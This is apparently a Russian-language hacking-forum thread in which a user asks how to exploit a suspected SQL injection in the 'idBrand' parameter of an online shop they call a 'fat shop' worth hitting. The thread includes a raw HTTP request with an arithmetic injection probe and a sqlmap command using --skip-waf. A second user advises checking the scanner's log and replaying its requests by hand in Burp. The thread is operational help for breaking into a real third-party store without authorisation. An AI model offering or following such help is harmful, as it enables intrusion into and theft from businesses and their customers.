Вопрос о sql-inj

[kosh_e4ka]

Привет друзья. Такая вот ситуация, окунь говорит что если сделать вот так, то есть скуля

GET /EN/something.ajx?idBrand=7/((6-4)*(2-1)-1)&ts=1733198275655 HTTP/1.1Accept: */*X-Requested-With: XMLHttpRequestReferer: https://www.target.com/Cookie: ASP.NET_SessionId=1b5attrqmka3c0l0w52ojp03; PrivacyBannerSeen=true; cdCountryCookie=; nmCountryCookie=; closedOverallAlert=Accept-Encoding: gzip,deflate,brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: target.com Connection: Keep-alive

Мапа запускается такой командой sqlmap -u 'target.com' --random-agent --batch --threads=10 --skip-waf
Пробовал еще с --string и --not-string, еще пробовал менять --prefix, но вообще ни в какую. не говорит даже что might be injectable. Что мне делать? Выручайте, там жирненький шоп

 

[c0d3x]

Мапа запускается такой командой sqlmap -u 'target.com' --random-agent --batch --threads=10 --skip-waf

зачем здесь во первых batch, во вторых куда инжект?

 

[kosh_e4ka]

зачем здесь во первых batch, во вторых куда инжект?

target.com/EN/something.ajx?idBrand=*&ts=1733198275655
в idBrand

 

[c0d3x]

окунь говорит что

На основании чего он "говорит"? Лог смотри, какие запросы он отправлял для того что бы задетектить, берешь эти запросы и руками в бурпе чекаешь каждый, смотришь какие изменения на странице происходят. Не видя таргета ничем другим здесь не помочь.